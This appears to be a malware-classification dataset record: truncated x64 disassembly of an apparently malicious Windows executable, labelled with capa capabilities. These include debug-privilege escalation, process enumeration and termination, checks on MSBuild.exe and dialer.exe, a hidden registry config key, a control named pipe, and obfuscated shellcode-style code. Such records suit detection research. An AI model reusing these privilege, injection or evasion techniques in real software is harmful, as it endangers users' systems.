joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x20], r9d
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4b0
mov eax, dword [0x140005010]
lea rdx, [rbp + 0x400]
mov rdi, qword [0x140005008]
mov r14d, ecx
mov dword [rsp + 0x60], eax
xor ebx, ebx
call fcn.1400019ac
test eax, eax
je 0x1400014c5
cmp dword [rbp + 0x400], ebx
je 0x1400014c5
mov r8d, r14d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add byte [rax - 0x75], cl
invalid
test rax, rax
je 0x1400014c5
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
mov r15d, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r13d, [rbx + 1]
mov r14, rax
test rax, rax
je 0x140001208
mov r9d, 0x104
lea r8, [rbp - 0x70]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x1400011aa
lea rcx, [rbp - 0x70]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x104
ja 0x1400011aa
mov rdx, r12
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov r15d, r13d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
je 0x140001208
lea rax, str.MSBuild.exe
mov r14d, ebx
mov qword [rsp + 0x70], rax
lea r15, [rsp + 0x70]
lea rax, str.WmiPrvSE.exe
mov qword [rsp + 0x78], rax
lea rax, str.dialer.exe
mov qword [rbp - 0x80], rax
mov rdx, qword [r15]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400014bc
add r14d, r13d
add r15, 8
cmp r14d, 3
jb 0x1400011e3
mov r9d, 4
mov qword [rsp + 0x20], rbx
lea r8, [rbp + 0x3f8]
mov rcx, rsi
lea edx, [r9 + 0x19]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x1400014bc
cmp dword [rbp + 0x3f8], ebx
jne 0x1400014bc
lea r8, [rsp + 0x68]
mov edx, 8
mov rcx, rsi
mov r12d, ebx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400014bc
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x400]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea r15d, [r9 + 0x19]
mov edx, r15d

Function at 0x1400014e4
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x148]
sub rsp, 0x248
mov ebx, 1
xor r14d, r14d
mov dword [rbp + 0x1a8], ebx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, 0x9c40
xor edx, edx
mov rcx, rax
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [rsp + 0x30], r14d
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x13880
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [rbp + 0x1a0], r14d
lea r8, [rsp + 0x30]
mov edx, edi
mov rcx, r15
mov r12, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x14000163b
mov eax, dword [rsp + 0x30]
xor edi, edi
shr eax, 2
mov dword [rsp + 0x30], eax
test eax, eax
je 0x14000163b
Function at 0x1400017f8
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov r14d, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x3e80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x48], 0x3e8
mov rcx, rax
mov rbp, rax
call fcn.1400014e4
test eax, eax
je 0x140001891
mov ecx, dword [rsp + 0x48]
test ecx, ecx
je 0x140001891
mov rbx, rbp
mov edi, ecx

Function at 0x140001a44
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov dword [rsp + 0x18], r8d
push rsi
push rdi
push r14
sub rsp, 0x30
xor ebx, ebx
mov r14, rdx
mov edi, ebx
mov rbp, rcx
mov rsi, rdx
mov eax, edi
lea r9, [rsp + 0x60]
mov r8d, 2
mov qword [rsp + 0x20], rbx
mov rcx, rbp
lea rdx, [r14 + rax*2]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001aac
cmp dword [rsp + 0x60], 2
jne 0x140001aac
cmp word [rsi], bx
je 0x140001aa7
inc edi
add rsi, 2
cmp edi, 0x105
jb 0x140001a68
jmp 0x140001aac
mov ebx, 1
mov rbp, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140002078
Capabilities:
Read file via mapping

Disassembly:
test rcx, rcx
je 0x14000228a
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
mov rbx, rcx
lea rdx, [0x140003470]
lea rcx, [rsp + 0x60]
xor r13d, r13d
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
je 0x140002270
lea edi, [r13 + 0x18]
lea rax, [rsp + 0x40]
mov edx, edi
mov qword [rsp + 0x2b8], rax
lea ebx, [rdi - 0x17]
mov rcx, qword [rsp + 0x2b8]
mov byte [rcx], r13b
mov rcx, qword [rsp + 0x2b8]
add rcx, rbx
mov qword [rsp + 0x2b8], rcx
sub rdx, rbx
jne 0x1400020e9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, edi
lea r8, [rsp + 0x40]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x140002267
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], r13d
xor r9d, r9d
mov r8d, ebx
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
Function at 0x140002328
Capabilities:
Acquire debug privileges
Extract resource via kernel32 functions
Set registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x90]
sub rsp, 0x190
lea rcx, str.ntdll.dll
call fcn.140002078
mov edx, 0x11c
lea rax, [rsp + 0x70]
mov ecx, edx
mov qword [rbp + 0xc0], rax
xor edi, edi
mov rax, qword [rbp + 0xc0]
mov byte [rax], dil
mov rax, qword [rbp + 0xc0]
inc rax
mov qword [rbp + 0xc0], rax
sub rcx, 1
jne 0x14000235c
mov dword [rsp + 0x70], edx
mov r8b, 3
lea edx, [rcx + 2]
mov qword [rsp + 0x74], 0xa
mov word [rbp + 0x84], di
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 0x23
lea rcx, [rsp + 0x70]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea rcx, str.kernel32.dll
call fcn.140002078
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x410
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002486
lea r8, [rbp + 0xc8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000247d
lea r8, [rbp + 0xb0]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000247d
mov rax, qword [rbp + 0xb0]
lea r8, [rsp + 0x60]
mov rcx, qword [rbp + 0xc8]
mov r9d, 0x10
mov qword [rsp + 0x28], rdi
xor edx, edx
mov qword [rsp + 0x64], rax
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x6c], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x14000247d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x14000352c]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x14000269d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [0x140005010], eax
test eax, eax
je 0x14000269d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000269d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x140005008], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1400017f8
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREdialerconfig
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], edi
xor eax, eax
add rsp, 0x190
pop rdi
pop rbx
pop rbp
ret
Function at 0x140002c18
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov dword [rax + 8], ecx
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
lea rcx, str..pipedialercontrol_redirect64
and dword [rax - 0x20], 0
mov edi, r8d
mov rsi, rdx
mov dword [rax - 0x28], 3
xor r8d, r8d
mov edx, 0xc0000000
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002cad
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test rsi, rsi
je 0x140002ca4
test edi, edi
je 0x140002ca4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14000d0f4
Capabilities:
Delete registry value

Disassembly:
neg edx
and rdx, 0xffffffff838fe21b
ja 0x14007d6fb
Function at 0x14001289c
Capabilities:
Delete registry value

Disassembly:
jns 0x14007d733
test al, 0xf4
call fcn.14006d534
and r10w, r10w
mov rcx, r10
mov rax, qword [rsp + 0x28]
xor cl, 0
xor r10d, r10d
neg ecx
add qword [rsp], 0x92c1
lea rax, [rax + 1]
xor cx, r10w
jne 0x140010088

Function at 0x140013720
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
sub r12, r12
mov r12, qword [rsp + r12*8 + 0x38]
jg 0x1400cb3da
not qword [rsp + 0x58]
jo 0x14008126c
jbe 0x14005c999
push rcx
call fcn.1400126b5
call fcn.1400509f9
push rax
call fcn.1400c2fe6

Function at 0x14001c880
Capabilities:
Encode data using base64

Disassembly:
jo 0x14004f8e9
lea rbx, [rbx - 0x3e479d6d]
or byte [rsp + 0x18], 0x14
add qword [rsp + 0x28], 0xffffffffbff7ad73
sub si, cx
or rcx, 0x519bd58f
or qword [rsp + 0x18], rcx
neg cl
xchg qword [rsp + 0x38], rbx
mov rcx, qword [rsp + 8]
shr dword [rsp + 0x18], 0x30
or dword [rsp + 0x18], 0x723c8e18
test si, 0xd42f
seto sil
and si, si
setno sil
cmp sil, 0x1b
mov rsi, qword [rsp + 0x20]
je fcn.14008e3de
setns byte [rsp + 0x18]
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x38]
ret 8

Function at 0x140022d75
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov rdx, qword [rsp + 0x20]
mov rdx, qword [rdx]
je 0x14005ce5d
or r11, 0x192b5237
mov qword [rsp + 0x20], r14
jo 0x1400cb440
movzx r12w, r14b
neg byte [rsp + 0x20]
lea rdx, [rdx + 0x498c3503]
and byte [rsp + 0x10], 0xa6
push 0xffffffffdc30f780
push r12
call fcn.1400b3157
sub dword [rcx - 0x65], 0x32a006f8
bswap edi
jae 0x140022e09
mov ecx, dword [rsp + 0xb0]
push rax
call fcn.1400d505c
mov eax, 0xc0000005
jmp 0x140022e40
xchg ebp, edi
sub eax, 3
add al, al
movabs al, byte [0x426c2cbf5cfb90cf]
and dword [rdx - 0x5004], edx
invalid
fnstcw word [rbp - 0x10026d1b]
invalid

Function at 0x14004dc28
Capabilities:
Delete registry value

Disassembly:
add qword [rsp + 0x18], 0xffffffffbff3ca7f
shl r13, 0x69
call fcn.1400d58a4

Function at 0x140052561
Capabilities:
Read file on windows

Disassembly:
ja 0x1400d31ae
sub esi, 0x3f0a8408
mov rsi, qword [rsp + 0x20]
shr byte [rsp + 0x30], 0xeb

Function at 0x14005594d
Capabilities:
Read file on windows

Disassembly:
mov r10, qword [rsp + 0xd8]
js 0x140060894
call fcn.14008e371

Function at 0x14005769e
Capabilities:
Set registry value

Disassembly:
add qword [rsp], 0x509d5
movabs rax, 0x1a92723ebf23bb92
or eax, eax
call fcn.14002f2a0

Function at 0x140057823
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x38], rax
test r13d, 0xeaa88a1
js 0x140002d21
jg 0x1400b6d07
add qword [rsp], 0xfffffffffffbdb44
push r11
push r13
mov rdi, r9
movabs r13, 0xa4b674205519951d
call fcn.140088948
shr r13w, 0xb7
shl r13w, 0x56
lea rax, [rax + 1]
mov rdi, r13
bswap rdi
je 0x140086eab
setne r13b
push rdi
je 0x1400169a0
jl fcn.140054527
mov r8, r13
call fcn.14007d76d
shl word [rsp], 0x39
call fcn.1400702ae
Function at 0x14005855d
Capabilities:
Encode data using xor

Disassembly:
xor dword [rsp + 0x30], 0x5a394db6
xchg qword [rsp + rdi - 0x49a774cb], rcx
mov rbp, qword [rsp + 0x50]
test dword [rsp + r10 - 0x10], 0xd8273b3a
jg 0x1400086cc
add r8, r10
cmp r10, qword [rsp + r10*2 - 0x50]
mov r8, qword [rsp + rdi - 0x49a77523]
not rdi
call fcn.14008a3f6

Function at 0x14005cb62
Capabilities:
Encode data using xor

Disassembly:
xchg qword [rsp + rsi - 0x748], rax
mov rsi, qword [rsp + rsi*2 - 0xf10]
mov r14w, word [rsp + r14*8 + 0x39]
xor byte [rsp + r14*2 - 0x106b0], 0x83
call fcn.14008ef65
invalid

Function at 0x14005cca1
Capabilities:
Enumerate process modules

Disassembly:
js fcn.1400ae287
xchg qword [rsp + rdx*2 + 0x38], rsi
mov r15, qword [rsp + 0x18]
cmp r11d, 0xfc2c7583
jl 0x1400c2301
movsx r12d, word [rsp + 0xa]
ja 0x14007cce8
jb 0x140016973
shr r8d, 0x90
mov r8, qword [rsp + r8*8 - 0x33cb0]
push qword [rsp]
popfq
lea rsp, [rsp + 0x10]
ret 8
mov rbp, qword [rsp + 0x18]
call fcn.1400bcc98

Function at 0x14005e5c2
Capabilities:
Enumerate process modules

Disassembly:
shr rcx, cl
test rcx, rcx
mov rcx, qword [rsp + rcx + 0x1e]
call int.14005b5a9
add qword [rsp + 0x18], 0x4dd88
or rsi, 0xfffffffff938df8f
bswap rsi
ja 0x140060486
xor word [rsp + 0x60], 0xc5bc
jo 0x1400d0b98
movabs rsi, 0x1209c80131b838b4
call fcn.1400acb15
cmp byte [rsp + 0x48], 0x80
not byte [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
not word [rsp + 0x20]
js 0x14001d4dd
fistp word [rdi - 0x3440ea54]
and al, 0xad
xlatb
xchg ebx, eax
lodsb al, byte [rsi]
sub dword [rdi + 0x3b], eax
int3
mov qword [rsp + 0x10], r15
and sil, sil
and r15, 0xffffffff9f263182
mov rcx, qword [rsp + 0x18]
mov rcx, qword [rcx + r10 + 0x4778488e]
add qword [rsp + r15 - 0x7040ff8], 0xffffffffbffa91b1
lea r10, [r15 + r10*8 + 0x239b3188]
neg r10d
sub qword [rsp + r15 - 0x7040fd8], 0xffffffffb1867a8c
add qword [rsp + r15 - 0x7040fe0], 0xffffffffbff99104
call fcn.14009962d

Function at 0x140062069
Capabilities:
Set registry value

Disassembly:
jge 0x140079099
cmp r15d, 0xf698cf3c
call fcn.14006faac

Function at 0x14006a291
Capabilities:
Set registry value

Disassembly:
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000260d
lea r9, [rbp + 0xb0]
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc8]
mov dword [rbp + 0xb0], edi
lea edx, [rax + 1]
lea rcx, str.D:_A_OICI_GA___AU__A_OICI_GA___BA_
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
mov ebx, 4
test eax, eax
je 0x140002587
mov r8, qword [rbp + 0xc8]
mov edx, ebx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rdi
lea rdx, [0x140003330]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf013f
mov dword [rsp + 0x20], edi
setbe byte [rsp + 0x38]
sub qword [rsp + 0x38], 0xffffffff8b9225ad
ja 0x140002524
call fcn.1400b00d2
invalid
Function at 0x14006b212
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x50], rdi
shr r9b, 0x36
not r9b
not r9d
and r9d, r9d
shl r9d, 0xb6
xor r9w, 0x1102

Function at 0x14006bed3
Capabilities:
Enumerate process modules

Disassembly:
sets r15b
xchg qword [rsp + 0x28], rbx
movabs rbp, 0x4b24e9162bb4b93a
movzx r15, r15w
push rcx
push r8
mov r8, rbp
sete r15b
mov rbp, qword [rsp + 0x30]
mov qword [rsp + 0x30], rbx
jae 0x140015d19
sub dword [rbx], ecx
mov esp, 0xb2a02dab
fmul qword [rbx + rcx*4 - 0x32]
or dil, 0x93
mov rdi, qword [rsp + 0x28]
add qword [rsp + 0x68], 0xffffffffbffe1efc
add si, 0xadba
call int.14001ff68

Function at 0x14006c4ed
Capabilities:
Enumerate process modules

Disassembly:
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r15d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [rsp + 0x48], 0
mov rbp, rax
xor esi, esi
je 0x140002cf8
sets r10b
movabs r11, 0x88b3b630d3346a08
test byte [rsp + 0x60], 0xb7
mov r10, qword [rsp + 0x30]
not r11d
movzx r12, byte [rsp + 0x60]
bswap r11
jg 0x1400aad86
mov r12, qword [rsp + 0x70]
jno 0x140083f57
xor r11b, 0x30
movzx r11w, r11b
call fcn.1400a48f2
pop rax
push r11
call fcn.1400a7e1c
and r8w, word [rsp + r9 + 0x23]
and r9b, r9b
shl r8b, 0xf3
mov r8, qword [rsp + r9 + 0x10]
sub r9b, 0x9a

Function at 0x1400712ff
Capabilities:
Read file on windows

Disassembly:
neg edi
shl bp, 0xfe
neg qword [rsp + rbp*4 + 0x20]
test byte [rsp + 0x20], bpl
jbe 0x1400114ff
mov rdi, qword [rsp + 0x40]
add qword [rsp + r14 - 0x3ca3c5e2], 0xffffffffbffe1c98
bswap r14
shr bp, 0x11
neg rbp
mov r14, qword [rsp + 0x18]
or bp, 0x6c9b
xor word [rsp + rbp - 0x6c7b], 0xb0a6
shr ebp, 0xa1
cmovns bp, word [rsp + rbp*4 - 0xd911]
setns byte [rsp + rbp - 0xffa6]
js 0x140007277
lea r13, [rsi*2 - 0x7f5e6cf1]
mov qword [rsp + 0x50], rax
jae 0x14006f6f2

Function at 0x140071c43
Capabilities:
Encode data using base64

Disassembly:
jae 0x14009b912
xor r8b, r8b
jge 0x1400cb22a
lea rcx, [rcx - 0x6ee120f5]
add qword [rsp + 0x48], 0xffffffffbffeab5b
or word [rsp + 0x30], bx

Function at 0x14007909f
Capabilities:
Set registry value

Disassembly:
neg sil
push rsi
bswap rsi
mov rsi, qword [rsp + r8*2 + 0x10]
mov rsi, qword [rsi + r8]
shr r8d, 0xee
neg r8b
mov qword [rsp + r8*2 + 0x10], r8
jno 0x1400576cd

Function at 0x14007d706
Capabilities:
Delete registry value

Disassembly:
sets r14b
neg dword [rsp + 0x38]
add qword [rsp], 0xffffffffbff845d1
mov rcx, qword [rsp + 0x28]
call fcn.14008a42c
cmp rbx, 0xffffffffc300f890
lea rdi, [rdi + 1]
Function at 0x14007d76d
Capabilities:
Delete registry value

Disassembly:
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
call fcn.140001ac4
call fcn.140001768
call entry0
or ecx, 0xffffffff
call fcn.1400017f8
jmp 0x140002c00
lea edi, [rdi + 1]
push rcx
jne 0x140087f54
xor ecx, r10d
lea r10, [r10*8 - 0x5164ccc5]
test rcx, rcx
jbe 0x14000281f
call fcn.140069f0d
jbe 0x14007d7de
mov ebp, 0xfde6be0c
mov byte [rsi + 0x2a], dh
cmp eax, 0x7d5a1698
loopne 0x14007d729
invalid
or bpl, 0xc
mov rcx, rbp
jns 0x1400b4a67
mov qword [rsp + 0x30], rdi
add qword [rsp + rbx*8 + 8], 0xe64e
movsx cx, bl
call fcn.14008c776
mov byte [rcx - 0x12c11a5a], 0xdc
cli
cdq
cmpsb byte [rsi], byte [rdi]
invalid
mov rsi, qword [rsi]
cmovge rbp, qword [rsp + 0x18]
sub rbp, 0x7f908eb7
movabs rdi, 0x804c4330aa19f22
cmp rbp, r11
jl 0x14005ca1e
lea rsi, [rsi + 0x3c884135]
not bpl
mov qword [rsp + 0x38], r11
not r11d
call fcn.140088967
movsd dword [rdi], dword [rsi]
rcr dword [rsi], 0xa7
or eax, 0x95f77649
loope 0x1400b4aba
jg 0x1400b4a3b
invalid
popfq
scasb al, byte [rdi]
xor esi, dword [rbp + 0x1d]
invalid

Function at 0x140084154
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
xchg qword [rsp + 0x90], rbx
mov r15, qword [rsp + r12*8 + 0x140a8878]
add dx, word [rsp + r12 + 0x2815129]
call fcn.1400da3b9
neg byte [rsp + 0x28]
cmp dx, word [rsp + 0x7c]
jbe 0x140060089

Function at 0x1400849a5
Capabilities:
Encode data using base64

Disassembly:
lea rax, [rax + r11*4 + 0x299e770a]
push 0xffffffff9a166c27
jle 0x1400ad1d5

Function at 0x140084fb1
Capabilities:
Delete registry value

Disassembly:
mov r13w, word [rsp + 0x1d]
xchg qword [rsp + 0x40], rdx
mov rsi, qword [rsp + 0x38]
shr dword [rsp + 0x18], cl
sub cx, word [rsp + 0x1d]
not word [rsp + 0x18]
not qword [rsp + 0x18]
call fcn.1400513d3
mov dl, byte [rdx - 0x33339e02]
int3
add qword [rsp + 8], 0xffffffffbff4813d
and r13, 0xfffffffffa3df723
shr cx, cl
lea rsi, [rcx + rcx - 0x23f42173]
setb sil
mov qword [rsp + 0x18], rsi
js 0x1400d5047
lea rdx, [rdx - 0x21d1f16c]
setbe sil
jne 0x14001d36b

Function at 0x14008500f
Capabilities:
Delete registry value

Disassembly:
jb 0x1400bfe04
shr rbx, 0xae
jae 0x14007d721
movabs r8, 0x739c440c1f26da8a
and word [rsp + 0x68], 0x6b15
mov r13, qword [rsp + 0x90]
call fcn.140056d52

Function at 0x140089669
Capabilities:
Delete registry value

Disassembly:
sub dword [rsp + 0x28], 0xd79cbe9e
mov qword [rsp + 0x28], 0xffffffffb81ae73e
mov rdi, qword [rsp + 0x18]
not byte [rsp + 0x28]
jo 0x1400d127f
call fcn.14004d607
or word [rsp + 0x48], 0xae04
or word [rsp + 0x18], 0xed9c
and qword [rsp + 0x18], 0xffffffff9219610a
add word [rsp + 0x60], 0xa3a9
not word [rsp + 0x18]
and byte [rsp + 0x48], 0xa0
push qword [rsp + 0x68]
popfq
lea rsp, [rsp + 0x88]
ret
jge 0x1400aeaf3
shl dil, 0x39
jns 0x14007d6b1
stc
invalid
jns 0x1400824af

Function at 0x140089edc
Capabilities:
Encode data using base64
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
cmp r13b, 0x3f
jb 0x14008521d
push rbp
call fcn.1400c2300
xchg qword [rsp + 0x18], rdi
mov r14, qword [rsp]
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x18]
ret
Function at 0x14008bb99
Capabilities:
Enumerate process modules

Disassembly:
not r10w
jo 0x1400cb2ff
or rbx, 0xffffffffb5a1cb8e
and dword [rsp + 0x38], 0x1c84930e
add qword [rsp + rbx + 0x20a3479], 0xffffffffbff82c23
mov r10, qword [rsp + rbx + 0x20a34a1]
shr dword [rsp + rbx*8 + 0x1051a3c0], 0x1a
jns 0x140056818
jae 0x1400b4d20

Function at 0x14008ed20
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
neg ebp
mov rdx, r11
test qword [rsp + 0x48], 0xfffffffffe038911
not r11
mov rdx, qword [rsp + 8]
call fcn.1400ab408
xchg qword [rsp + rbp - 0x504c8cd9], rbx
mov rdi, qword [rsp + rbp - 0x504c8d01]
mov r11, qword [rsp + rbp - 0x504c8ce1]
jae 0x1400d8819
jne 0x14000f1ce
jmp 0x1400899d4

Function at 0x14008ed7c
Capabilities:
Enumerate process modules

Disassembly:
ja 0x1400ada6d
add qword [rsp + 8], 0xffffffffffff7d67
add qword [rsp + 0x28], 0xffffffffbff22d61

Function at 0x140092b2e
Capabilities:
Encode data using base64

Disassembly:
sub r10d, dword [rsp + r15*4 + 0x4d98e5e4]
not sil
shr word [rsp + r10 - 0x5b34ccec], 0x28
mov r10, qword [rsp + r15 + 0x136639d3]
test word [rsp + rsi - 0x21395], 0xf808
mov rdi, qword [rsp + r15 + 0x136639a3]
call fcn.140009179

Function at 0x14009adc9
Capabilities:
Execute shellcode via indirect call
Read file via mapping

Disassembly:
cmp qword [rsp + 0x58], 0x6a906135
mov rsi, qword [rsp + 0x98]
jb 0x140099350
add word [rsp + 0x40], 0xcb28
shl dword [rsp + 0x40], 0x99
call fcn.14005d9cd